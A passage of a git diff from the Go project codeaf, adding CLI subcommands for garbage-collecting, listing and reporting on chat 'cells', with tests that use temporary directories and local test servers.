err == nil { + t.Fatal("discarded a cell that is not a branch of this chat") + } + }) +} + +func TestCellDiscardNeedsSyncSetUp(t *testing.T) { + t.Setenv("CODEAF_SYNC_URL", "off") + if err := runCellIn([]string{"discard", branchID, mustCellRoot(t)}, &bytes.Buffer{}, t.TempDir()); err == nil { + t.Error("discard ran on a device with no sync") + } +} + +// TestThereIsNoCellMerge pins that the verb is absent, not broken: it is not in +// the usage line and asking for it is the usage line. +func TestThereIsNoCellMerge(t *testing.T) { + if strings.Contains(cellUsage, "merge") { + t.Errorf("the usage line still offers merge: %s", cellUsage) + } + err := runCellIn([]string{"merge", branchID, mustCellRoot(t)}, &bytes.Buffer{}, t.TempDir()) + if err == nil || err.Error() != cellUsage { + t.Errorf("cell merge answered %v, want the usage line", err) + } +} + +func mustCellRoot(t *testing.T) string { + t.Helper() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.FilesOnly}) + if err != nil { + t.Fatal(err) + } + return c.Root +} diff --git a/cmd/codeaf/cell_gc.go b/cmd/codeaf/cell_gc.go new file mode 100644 index 0000000000..239d8e9cfd --- /dev/null +++ b/cmd/codeaf/cell_gc.go @@ -0,0 +1,85 @@ +package main + +import ( + "context" + "fmt" + "io" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellbudget" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/config" +) + +// cellGC brings the cells' working files under the disk budget now. +func cellGC(_ cell.Cell, args []string, out io.Writer) error { + flags := commandFlags("cell gc") + dry := flags.Bool("dry-run", false, "say what would be removed and remove nothing") + if err := parseCommandFlags(flags, args); err != nil { + return err + } + if flags.NArg() != 0 { + return fmt.Errorf("usage: codeaf cell gc [--dry-run]") + } + rep, err := cellBudget().Collect(context.Background(), *dry) + if err != nil { + return err + } + writeGCReport(out, rep) + return nil +} + +func cellBudget() cellbudget.Manager { + m := cellbudget.New(cellstore.Engine{}, cellWorkspace, cellBusy) + m.Limit = int64(config.CellBudgetGBAt(config.ProfileDir()) * (1 << 30)) + return m +} + +func writeGCReport(out io.Writer, rep cellbudget.Report) { + fmt.Fprintf(out, "cells hold %s, budget %s\n", gcSize(rep.Total), gcLimit(rep.Limit)) + for _, a := range rep.Actions { + fmt.Fprintf(out, " %s %s %s%s\n", a.ID, gcSize(a.Bytes), a.Outcome, gcWhy(a.Why)) + for _, path := range a.Paths { + fmt.Fprintf(out, " %s\n", path) + } + } + if gcSawRunning(rep) { + fmt.Fprintf(out, "running: %s\n", heldByEngineHint()) + } +} + +// gcSawRunning is whether the sweep passed over a cell because a session holds it. +func gcSawRunning(rep cellbudget.Report) bool { + for _, a := range rep.Actions { + if a.Why == "running" { + return true + } + } + return false +} + +func gcWhy(why string) string { + if why == "" { + return "" + } + return " (" + why + ")" +} + +func gcLimit(n int64) string { + if n <= 0 { + return "unlimited" + } + return gcSize(n) +} + +// cellsUsage is the doctor row: what the cells hold against the budget, and "" +// when they hold nothing (a machine with no cells has measured nothing, not zero). +func cellsUsage() string { + rep, err := cellBudget().Collect(context.Background(), true) + if err != nil || rep.Total == 0 { + return "" + } + return gcSize(rep.Total) + " of " + gcLimit(rep.Limit) +} + +func gcSize(n int64) string { return fmt.Sprintf("%.1f MiB", float64(n)/(1<<20)) } diff --git a/cmd/codeaf/cell_gc_test.go b/cmd/codeaf/cell_gc_test.go new file mode 100644 index 0000000000..b9132a3a1f --- /dev/null +++ b/cmd/codeaf/cell_gc_test.go @@ -0,0 +1,156 @@ +package main + +import ( + "bytes" + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/session" +) + +func TestCellGCOnAHomeWithNoCellsReportsAnEmptyBudget(t *testing.T) { + celltest.Available(t) + t.Setenv("CODEAF_HOME", t.TempDir()) + var out bytes.Buffer + if err := runCellIn([]string{"gc", "--dry-run"}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + if !strings.Contains(out.String(), "cells hold 0.0 MiB") { + t.Fatalf("report: %q", out.String()) + } +} + +func TestCellNamesItsVerbsWhenAskedForANonsense(t *testing.T) { + celltest.Available(t) + if err := runCell([]string{"nope"}); err == nil || !strings.Contains(err.Error(), "gc") { + t.Fatalf("want a usage line naming gc, got %v", err) + } +} + +// C25 exercises explicit gc and ordinary reopen. A withheld file, a user +// exclusion and a dependency folder survive, while a captured file is restored. +func TestCellGCKeepsExcludedFilesAndRestoresCapturedFiles(t *testing.T) { + // It seals and restores for real, so it needs the engine, not just the flag. + celltest.RequireEngine(t) + t.Setenv("CODEAF_HOME", t.TempDir()) + + t.Setenv("CODEAF_SYNC_URL", "off") + t.Setenv("CODEAF_CELL_BUDGET_GB", "0.000000001") + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + work := filepath.Join(c.Root, "work") + if err := session.SaveMeta(c.Root, session.Meta{ID: c.ID, Owned: true, Workspace: work}); err != nil { + t.Fatal(err) + } + files := map[string]string{".env": "LOCAL_TOKEN=kept-here\n", ".furrowpolicy": "exclude excluded.txt\nexclude nested/private.txt\n", "excluded.txt": "excluded", "package-lock.json": "{}", "node_modules/a/index.js": "dependency", "nested/private.txt": "private", "nested/public.txt": "public", "captured.txt": "captured bytes\x00\xff"} + for name, body := range files { + path := filepath.Join(work, name) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + } + engine := cellstore.EngineFor(work) + if _, err := engine.Seal(t.Context(), c, cellstore.TurnInfo{Trigger: cellstore.AgentRun}); err != nil { + t.Fatal(err) + } + m := cellBudget() + if err := m.Open(t.Context(), c); err != nil { + t.Fatal(err) + } + // The gc door has a real recent-open grace; its persisted timestamp lets + // this fixture be old without making the shared laptop wait ten minutes. + ledger := filepath.Join(engine.LocalDir(c), "budget.json") + raw, err := os.ReadFile(ledger) + if err != nil { + t.Fatal(err) + } + var entry map[string]any + if err := json.Unmarshal(raw, &entry); err != nil { + t.Fatal(err) + } + entry["opened_ms"] = float64(1) + raw, _ = json.Marshal(entry) + if err := os.WriteFile(ledger, raw, 0o600); err != nil { + t.Fatal(err) + } + var dry bytes.Buffer + if err := runCellIn([]string{"gc", "--dry-run"}, &dry, work); err != nil { + t.Fatal(err) + } + if !strings.Contains(dry.String(), " captured.txt\n") { + t.Fatalf("dry run: %s", &dry) + } + for _, name := range []string{".env", "excluded.txt", "node_modules", "nested", ".furrowpolicy", "package-lock.json"} { + if strings.Contains(dry.String(), " "+name+"\n") { + t.Fatalf("dry run would remove excluded %s: %s", name, &dry) + } + } + var out bytes.Buffer + if err := runCellIn([]string{"gc"}, &out, work); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(work, "captured.txt")); !os.IsNotExist(err) { + t.Fatalf("gc did not remove captured file: %v, %s", err, &out) + } + for _, name := range []string{".env", "excluded.txt", "node_modules/a/index.js", "nested/private.txt", "nested/public.txt"} { + raw, err := os.ReadFile(filepath.Join(work, name)) + if err != nil || string(raw) != files[name] { + t.Fatalf("gc changed %s: %q %v", name, raw, err) + } + } + budgetOnOpen(c.Root) + for name, body := range files { + raw, err := os.ReadFile(filepath.Join(work, name)) + if err != nil || string(raw) != body { + t.Fatalf("reopen changed %s: %q %v", name, raw, err) + } + } + // Make the restored cell old and eligible again before opening a different + // chat. The old implementation would start collection from that open. + if err := os.WriteFile(ledger, rawLedgerWithOldOpen(t, ledger), 0o600); err != nil { + t.Fatal(err) + } + fresh, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + budgetOnOpen(fresh.Root) + if _, err := os.Stat(filepath.Join(work, "captured.txt")); err != nil { + t.Fatal("opening another chat removed working files", err) + } + // A new open previously launched an automatic sweep of this old cell. + // No sweep stamp is now written and no workspace file is removed. + if _, err := os.Stat(filepath.Join(engine.Root(), "sweep.stamp")); !os.IsNotExist(err) { + t.Fatalf("open started a sweep: %v", err) + } +} + +// rawLedgerWithOldOpen makes the fixture eligible without a real-time wait. +func rawLedgerWithOldOpen(t *testing.T, path string) []byte { + t.Helper() + raw, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + var entry map[string]any + if err := json.Unmarshal(raw, &entry); err != nil { + t.Fatal(err) + } + entry["opened_ms"] = float64(1) + raw, err = json.Marshal(entry) + if err != nil { + t.Fatal(err) + } + return raw +} diff --git a/cmd/codeaf/cell_list.go b/cmd/codeaf/cell_list.go new file mode 100644 index 0000000000..23296382de --- /dev/null +++ b/cmd/codeaf/cell_list.go @@ -0,0 +1,67 @@ +package main + +import ( + "context" + "errors" + "fmt" + "io" + "text/tabwriter" + "time" + + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/tui2/reltime" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// cellListAsk bounds one listing so a silent relay ends the command rather +// than hanging an ssh session. +const cellListAsk = 10 * time.Second + +// cellListSource is where `cell list --all` reads chats from. It is a seam so +// a test can stand in any source; the real one is the sync setup (syncwire.go). +var cellListSource = syncListSource + +// cellList prints every chat this person has, on any machine, one per line: +// id, title, device, what §8.1 says about where it runs, and the age of its +// last durable turn. It is headless on purpose, for ssh-driven demos. +func cellList(args []string, out io.Writer) error { + if len(args) != 1 || args[0] != "--all" { + return errors.New(cellUsage) + } + src, err := cellListSource() + if err != nil { + return err + } + ctx, cancel := context.WithTimeout(context.Background(), cellListAsk) + defer cancel() + rows, err := src.Rows(ctx) + if r, ok := cellsync.RefusalOf(err); ok && (errors.Is(err, wireauth.ErrRotated) || errors.Is(err, wireauth.ErrGone)) { + return errors.New(r.Say(err)) + } + if err != nil { + return fmt.Errorf("%s: %w", chatlist.Unreachable, err) + } + return writeChatRows(rows, out) +} + +// writeChatRows draws the rows as an aligned table. A column with nothing to +// say (a chat that is here or idle has no status line) shows a dash so the +// columns still line up. +func writeChatRows(rows []chatlist.Row, out io.Writer) error { + w := tabwriter.NewWriter(out, 0, 0, 2, ' ', 0) + for _, r := range rows { + fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%s\n", r.Cell, r.Title, orDash(r.Device), + orDash(statusOf(r)), reltime.Elapsed(r.DurableAgo)) + } + return w.Flush() +} + +// statusOf is the status column: a branch says only what this build can do with +// it, which is discard (there is no merge, cell_branch.go). +func statusOf(r chatlist.Row) string { + if r.Status == chatlist.Branch { + return chatlist.BranchLine(r, false) + } + return chatlist.StatusLine(r) +} diff --git a/cmd/codeaf/cell_list_test.go b/cmd/codeaf/cell_list_test.go new file mode 100644 index 0000000000..37cfcce98b --- /dev/null +++ b/cmd/codeaf/cell_list_test.go @@ -0,0 +1,92 @@ +package main + +import ( + "bytes" + "context" + "errors" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// withListSource installs a Source for one test. +func withListSource(t *testing.T, src chatlist.Source, err error) { + t.Helper() + old := cellListSource + cellListSource = func() (chatlist.Source, error) { return src, err } + t.Cleanup(func() { cellListSource = old }) +} + +func TestCellListAll(t *testing.T) { + withListSource(t, chatlist.Static{ + {Cell: "01AAA", Title: "Nightly index rebuild", Device: "studio", Status: chatlist.Running, DurableAgo: 2 * time.Minute}, + {Cell: "01BBB", Title: "Port the picker", Device: "studio", Status: chatlist.Off, DurableAgo: 3 * time.Hour}, + {Cell: "01CCC", Title: "Fix the flaky test", Device: "laptop", Status: chatlist.Branch, OrphanTurns: 2, DurableAgo: 5 * time.Hour}, + {Cell: "01DDD", Title: "Notes", Device: "laptop", Status: chatlist.Idle, DurableAgo: 26 * time.Hour}, + }, nil) + var out bytes.Buffer + if err := runCellIn([]string{"list", "--all"}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + want := []string{ + "01AAA Nightly index rebuild studio running on studio 2m", + "01BBB Port the picker studio studio offline 3h", + "01CCC Fix the flaky test laptop 2 turns from laptop: discard 5h", + "01DDD Notes laptop - 1d 2h", + } + if got := strings.TrimSpace(out.String()); got != strings.Join(want, "\n") { + t.Fatalf("got:\n%s\nwant:\n%s", got, strings.Join(want, "\n")) + } +} + +func TestCellListAllSyncOff(t *testing.T) { + old := cellListSource + t.Cleanup(func() { cellListSource = old }) + t.Setenv("CODEAF_SYNC_URL", "off") // an empty value now means the built-in default + err := runCellIn([]string{"list", "--all"}, &bytes.Buffer{}, t.TempDir()) + if err == nil || err.Error() != chatlist.SyncOff { + t.Fatalf("err = %v, want %q", err, chatlist.SyncOff) + } +} + +type unreachableSource struct{} + +func (unreachableSource) Rows(context.Context) ([]chatlist.Row, error) { + return nil, errors.New("no route") +} + +func TestCellListAllUnreachable(t *testing.T) { + withListSource(t, unreachableSource{}, nil) + err := runCellIn([]string{"list", "--all"}, &bytes.Buffer{}, t.TempDir()) + if err == nil || !strings.HasPrefix(err.Error(), chatlist.Unreachable) { + t.Fatalf("err = %v", err) + } +} + +func TestCellListNeedsAll(t *testing.T) { + for _, args := range [][]string{{"list"}, {"list", "--some"}, {"list", "--all", "x"}} { + if err := runCellIn(args, &bytes.Buffer{}, t.TempDir()); err == nil || !strings.Contains(err.Error(), "usage") { + t.Errorf("%v: err = %v, want usage", args, err) + } + } +} + +// errSource is a list that fails the way a relay that replaced the identity does. +type errSource struct{ err error } + +func (e errSource) Rows(context.Context) ([]chatlist.Row, error) { return nil, e.err } + +// A computer on an identity that was rotated is told what happened and what to +// do, not that other machines are unreachable. +func TestCellListOnAReplacedIdentity(t *testing.T) { + for cause, want := range map[error]string{wireauth.ErrGone: chatlist.ReplacedGone, wireauth.ErrRotated: chatlist.Replaced} { + withListSource(t, errSource{cause}, nil) + err := runCellIn([]string{"list", "--all"}, &bytes.Buffer{}, t.TempDir()) + if err == nil || err.Error() != want { + t.Errorf("%v: got %v, want %q", cause, err, want) + } + } +} diff --git a/cmd/codeaf/cell_report.go b/cmd/codeaf/cell_report.go new file mode 100644 index 0000000000..976bc6a870 --- /dev/null +++ b/cmd/codeaf/cell_report.go @@ -0,0 +1,33 @@ +package main + +import ( + "fmt" + "io" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstats" + "github.com/Agent-Field/codeaf/internal/home" +) + +// cellReport prints what syncing a cell cost, one row per flush, a total, and the vault's own row. +// The numbers are counts kept on this device (internal/cellstats). Nothing is +// written anywhere unless the person names a file with --export. +func cellReport(c cell.Cell, args []string, out io.Writer) error { + lines, err := cellstats.Read(home.Dir(), c.ID) + if err != nil { + return err + } + vault, err := cellstats.Read(home.Dir(), cellstats.VaultScope) + if err != nil { + return err + } + cellstats.RenderScopes(out, lines, vault) + if len(args) == 0 || len(lines) == 0 { + return nil + } + if err := cellstats.Export(args[0], lines); err != nil { + return err + } + _, err = fmt.Fprintf(out, "wrote %s (%s)\n", args[0], cellstats.ExportNotice) + return err +} diff --git a/cmd/codeaf/cell_report_test.go b/cmd/codeaf/cell_report_test.go new file mode 100644 index 0000000000..dcb081f250 --- /dev/null +++ b/cmd/codeaf/cell_report_test.go @@ -0,0 +1,112 @@ +package main + +import ( + "bytes" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstats" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/home" +) + +// reportCell makes a cell on a fresh home and records the given flushes for it. +func reportCell(t *testing.T, flushes ...cellsync.Flush) cell.Cell { + t.Helper() + t.Setenv("CODEAF_HOME", t.TempDir()) + c, err := cell.Create(home.Dir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + r := cellstats.NewRecorder(home.Dir(), c.ID, nil) + for _, f := range flushes { + r.OnFlush(f) + } + return c +} + +func TestCellReport(t *testing.T) { + c := reportCell(t, + cellsync.Flush{Head: "aaaaaaaaaaaaaaaa", Turns: 2, Frames: 1, Objects: 14}, + cellsync.Flush{Head: "bbbbbbbbbbbbbbbb", Turns: 1, Frames: 1, Objects: 3}) + var out bytes.Buffer + if err := runCellIn([]string{"report", c.ID}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + for _, want := range []string{"aaaaaaaaaa ", "bbbbbbbbbb ", "total", " 17 "} { + if !strings.Contains(out.String(), want) { + t.Errorf("report lacks %q:\n%s", want, out.String()) + } + } +} + +func TestCellReportShowsTheVaultRow(t *testing.T) { + c := reportCell(t, cellsync.Flush{Head: "aaaaaaaaaaaaaaaa", Turns: 1}) + cellstats.NewRecorder(home.Dir(), cellstats.VaultScope, cellstats.MeterFunc(func() cellstats.Counts { + return cellstats.Counts{Puts: 3, BytesUp: 4242} + })).Settle() + var out bytes.Buffer + if err := runCellIn([]string{"report", c.ID}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + if !strings.Contains(out.String(), "vault") || !strings.Contains(out.String(), "4242") { + t.Fatalf("report lacks the vault row:\n%s", out.String()) + } +} + +func TestCellReportPrintsNothingWithoutRows(t *testing.T) { + c := reportCell(t) + file := filepath.Join(t.TempDir(), "out.jsonl") + var out bytes.Buffer + if err := runCellIn([]string{"report", "--export", file, c.ID}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + if out.Len() != 0 { + t.Fatalf("an empty report printed %q", out.String()) + } + if _, err := os.Stat(file); err == nil { + t.Fatal("an export of nothing wrote a file") + } +} + +func TestCellReportExportOnlyOnRequest(t *testing.T) { + c := reportCell(t, cellsync.Flush{Head: "aaaa", Turns: 1, Objects: 2}) + file := filepath.Join(t.TempDir(), "out.jsonl") + + var plain bytes.Buffer + if err := runCellIn([]string{"report", c.ID}, &plain, t.TempDir()); err != nil { + t.Fatal(err) + } + if strings.Contains(plain.String(), cellstats.ExportNotice) { + t.Fatal("a plain report talked about exporting") + } + if _, err := os.Stat(file); err == nil { + t.Fatal("a plain report wrote an export") + } + + var out bytes.Buffer + if err := runCellIn([]string{"report", c.ID, "--export", file}, &out, t.TempDir()); err != nil { + t.Fatal(err) + } + got, err := os.ReadFile(file) + if err != nil { + t.Fatal(err) + } + stats, _ := os.ReadFile(cellstats.Path(home.Dir(), c.ID)) + if !bytes.Equal(got, stats) { + t.Fatalf("export = %q, want the stats lines %q", got, stats) + } + if !strings.Contains(out.String(), cellstats.ExportNotice) { + t.Fatalf("export did not say what it holds:\n%s", out.String()) + } +} + +func TestCellReportExportNeedsAFile(t *testing.T) { + c := reportCell(t) + if err := runCellIn([]string{"report", c.ID, "--export"}, &bytes.Buffer{}, t.TempDir()); err == nil { + t.Fatal("--export with no file was accepted") + } +} diff --git a/cmd/codeaf/cell_test.go b/cmd/codeaf/cell_test.go new file mode 100644 index 0000000000..2a34110636 --- /dev/null +++ b/cmd/codeaf/cell_test.go @@ -0,0 +1,214 @@ +package main + +import ( + "bytes" + "context" + "errors" + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "io" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/furrow" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +func TestCellLogAndRewindThroughTheDoor(t *testing.T) { + celltest.RequireEngine(t) + if _, err := furrow.ResolveBinary(); err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv("CODEAF_HOME", t.TempDir()) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + var ids []string + for _, body := range []string{"one", "two"} { + if err := os.WriteFile(filepath.Join(c.Root, "f.txt"), []byte(body), 0o644); err != nil { + t.Fatal(err) + } + s, err := cellstore.Engine{}.Seal(context.Background(), c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + ids = append(ids, s.Turn.ID) + } + + var out bytes.Buffer + if err := runCellIn([]string{"rewind", ids[0][:10]}, &out, c.Root); err != nil { + t.Fatal(err) + } + if got, _ := os.ReadFile(filepath.Join(c.Root, "f.txt")); string(got) != "one" { + t.Fatalf("f.txt = %q after rewind, want one", got) + } + out.Reset() + if err := runCellIn([]string{"log"}, &out, filepath.Join(c.Root, ".cell")); err != nil { + t.Fatal(err) + } + lines := strings.Split(strings.TrimSpace(out.String()), "\n") + if len(lines) != 3 || !strings.Contains(lines[0], ids[1][:12]) || !strings.Contains(lines[0], "cell.rewind") { + t.Fatalf("log:\n%s", out.String()) + } +} + +func TestCellDoorRefusesShortCommands(t *testing.T) { + for _, args := range [][]string{nil, {"nope"}, {"rewind"}, {"log", "a", "b"}} { + if err := runCellIn(args, &bytes.Buffer{}, t.TempDir()); err == nil || !strings.Contains(err.Error(), "usage") { + t.Errorf("%v: err = %v, want usage", args, err) + } + } +} + +func TestCellRewindRestoresTheWorkspaceTheSessionSealed(t *testing.T) { + celltest.RequireEngine(t) + if _, err := furrow.ResolveBinary(); err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv("CODEAF_HOME", t.TempDir()) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + workspace := t.TempDir() + if err := session.SaveMeta(c.Root, session.Meta{ID: "x", Workspace: workspace}); err != nil { + t.Fatal(err) + } + seal := func(body string) string { + if err := os.WriteFile(filepath.Join(workspace, "f.txt"), []byte(body), 0o644); err != nil { + t.Fatal(err) + } + s, err := cellstore.EngineFor(workspace).Seal(context.Background(), c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + return s.Turn.ID + } + first := seal("one") + seal("two") + + if err := runCellIn([]string{"rewind", first[:10]}, io.Discard, c.Root); err != nil { + t.Fatal(err) + } + if got, _ := os.ReadFile(filepath.Join(workspace, "f.txt")); string(got) != "one" { + t.Fatalf("workspace f.txt = %q after rewind, want one", got) + } + if _, err := os.Stat(filepath.Join(workspace, cell.StateDir)); !os.IsNotExist(err) { + t.Fatal("the rewind wrote .cell into the workspace") + } +} + +func TestCellResolveClosesACrashedCallAndFindsBucketedCells(t *testing.T) { + celltest.RequireEngine(t) + if _, err := furrow.ResolveBinary(); err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv("CODEAF_HOME", t.TempDir()) + bucket := filepath.Join(home.Join("v3", "projects"), "-work") + c, err := cell.CreateIn(bucket, cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + sealed, err := cellstore.Engine{}.Seal(context.Background(), c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + wal, _, err := cellstore.OpenWAL(cellEngine(c).WALPath(c)) + if err != nil { + t.Fatal(err) + } + if err := wal.Begin(cellstore.Intent{V: 1, Tool: "bash", ArgsHash: "ab", Started: 1, SideEffect: "local"}); err != nil { + t.Fatal(err) + } + + var out bytes.Buffer + if err := runCellIn([]string{"log", c.ID}, &out, t.TempDir()); err != nil || !strings.Contains(out.String(), "unfinished bash") { + t.Fatalf("log by id: %v\n%s", err, out.String()) + } + if err := runCellIn([]string{"rewind", sealed.Turn.ID[:10], c.ID}, &out, t.TempDir()); err == nil { + t.Fatal("rewind must refuse while a call is unfinished") + } + out.Reset() + if err := runCellIn([]string{"resolve", c.ID}, &out, t.TempDir()); err != nil || !strings.Contains(out.String(), "resolved bash") { + t.Fatalf("resolve: %v\n%s", err, out.String()) + } + if err := runCellIn([]string{"rewind", sealed.Turn.ID[:10], c.ID}, &out, t.TempDir()); err != nil { + t.Fatalf("rewind after resolve: %v", err) + } +} + +// A CALL THAT FINISHED AND WAS NEVER SEALED IS A GAP THE CHAIN CANNOT SHOW, so +// the log says so, and stops saying so once a seal has taken the call. +func TestCellLogMarksCallsThatWereNeverSealed(t *testing.T) { + t.Setenv("CODEAF_HOME", t.TempDir()) + c, err := cell.CreateIn(filepath.Join(home.Join("v3", "projects"), "-work"), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + wal, _, err := cellstore.OpenWAL(cellEngine(c).WALPath(c)) + if err != nil { + t.Fatal(err) + } + in := cellstore.Intent{V: 1, Tool: "bash", ArgsHash: "ab", Started: 1, SideEffect: "local"} + done := cellstore.Executed{Call: cellstore.Call{Tool: "bash", ArgsHash: "ab", Started: 1}} + if err := wal.Begin(in); err != nil { + t.Fatal(err) + } + if err := wal.Finish(in, done); err != nil { + t.Fatal(err) + } + + var out bytes.Buffer + if err := writeGaps(c, &out); err != nil || !strings.Contains(out.String(), "unsealed 1 call(s)") { + t.Fatalf("log after an unsealed call: %v\n%s", err, out.String()) + } + if err := wal.Sealed([]cellstore.Executed{done}); err != nil { + t.Fatal(err) + } + out.Reset() + if err := writeGaps(c, &out); err != nil || out.Len() != 0 { + t.Fatalf("log after the call was sealed: %v\n%s", err, out.String()) + } +} + +// EACH CELL'S SEAT OWNS ITS OWN WATCH: a failure on one is not on the other. +// E2 finishes each opened seat's initial capture before testing later failures. +func TestEachSeatOwnsItsSealWatch(t *testing.T) { + celltest.RequireEngine(t) + if _, err := furrow.ResolveBinary(); err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv("CODEAF_HOME", t.TempDir()) + bucket := filepath.Join(home.Join("v3", "projects"), "-work") + seatOf := func() *cellstore.SealWatch { + c, err := cell.CreateIn(bucket, cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + cfg := v3Seated(session.Config{Place: session.Place{Dir: c.Root, Workspace: t.TempDir()}}) + ctx, cancel := context.WithTimeout(context.Background(), cellstore.SealWithin) + defer cancel() + if err := executor.Drain(ctx, cfg.Seat); err != nil { + t.Fatal(err) + } + watch, ok := cfg.Seals.(*cellstore.SealWatch) + if !ok { + t.Fatalf("no watch on a sealed session: %T", cfg.Seals) + } + return watch + } + first, second := seatOf(), seatOf() + if first == second { + t.Fatal("two cells share one watch") + } + first.Report(errors.New("disk full")) + if !first.Failing() || second.Failing() { + t.Fatal("a failure on one cell showed on the other") + } +} diff --git a/cmd/codeaf/cells_default_smoke_test.go b/cmd/codeaf/cells_default_smoke_test.go new file mode 100644 index 0000000000..7d7c646511 --- /dev/null +++ b/cmd/codeaf/cells_default_smoke_test.go @@ -0,0 +1,127 @@ +package main + +import ( + "context" + "io/fs" + "net/http" + "net/http/httptest" + "os" + "os/exec" + "path/filepath" + "strings" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "github.com/Agent-Field/codeaf/internal/cellstore" +) + +// TestC27NewChatByDefaultStaysQuiet proves C27.1 and C23 through the binary +// --once door on every channel, with a logging relay and a model turn. +// Its D5/C27.4 assertions cover this door; a local identity is allowed, and +// interactive startup wires sync separately. +func TestC27NewChatByDefaultStaysQuiet(t *testing.T) { + celltest.RequireEngine(t) + var relayRequests atomic.Int64 + relay := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + relayRequests.Add(1) + http.Error(w, "unpaired home contacted relay", http.StatusForbidden) + })) + defer relay.Close() + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if strings.Contains(r.URL.Path, "/models") { + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(`{"data":[]}`)) + return + } + if !strings.HasSuffix(r.URL.Path, "/chat/completions") { + t.Errorf("unexpected service request on an unpaired home: %s %s", r.Method, r.URL.Path) + http.NotFound(w, r) + return + } + w.Header().Set("Content-Type", "text/event-stream") + _, _ = w.Write([]byte("data: {\"choices\":[{\"delta\":{\"content\":\"" + smokeAnswer + "\"},\"finish_reason\":null}]}\n\n" + + "data: {\"choices\":[{\"delta\":{},\"finish_reason\":\"stop\"}]}\n\ndata: [DONE]\n\n")) + })) + t.Cleanup(server.Close) + for _, stamp := range []string{"", "source-0123456789ab", "dev-20261022-0123456789ab", "staging-20261022-0123456789ab", "v0.9.0-rc.1", "v0.9.0"} { + t.Run(stamp, func(t *testing.T) { + binary := buildCodeafStamped(t, stamp) + environment, _ := smokeEnv(t, server.URL) + // C27.1 now reaches the real daemon, whose Unix socket needs a + // short home independently of Go's descriptive subtest directory. + home, err := os.MkdirTemp("", "c27") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + sockets, _ := filepath.Glob(filepath.Join(home, "v3", "engine-*.sock")) + for _, socket := range sockets { + _ = (cellstore.Daemon{Socket: socket}).Stop(context.Background()) + } + _ = os.RemoveAll(home) + }) + environment = append(environment, "HOME="+home, "CODEAF_HOME="+home, "CODEAF_PROFILE_DIR="+home) + environment = append(environment, "CODEAF_NO_AUTOMATIONS=1", "CODEAF_SYNC_URL="+relay.URL, "CODEAF_FURROW="+os.Getenv("CODEAF_FURROW")) + workspace := t.TempDir() + // A minimal empty repository makes this a project chat without running + // git mutations; no committed history is needed to mint a conversation. + for _, dir := range []string{"objects", "refs/heads"} { + if err := os.MkdirAll(filepath.Join(workspace, ".git", dir), 0o700); err != nil { + t.Fatal(err) + } + } + if err := os.WriteFile(filepath.Join(workspace, ".git", "HEAD"), []byte("ref: refs/heads/main\n"), 0o600); err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithTimeout(t.Context(), time.Minute) + defer cancel() + cmd := exec.CommandContext(ctx, binary, "chat", "--once", "Say ok.", "--one-model") + cmd.Env, cmd.Dir = environment, workspace + if out, err := cmd.CombinedOutput(); err != nil || !strings.Contains(string(out), 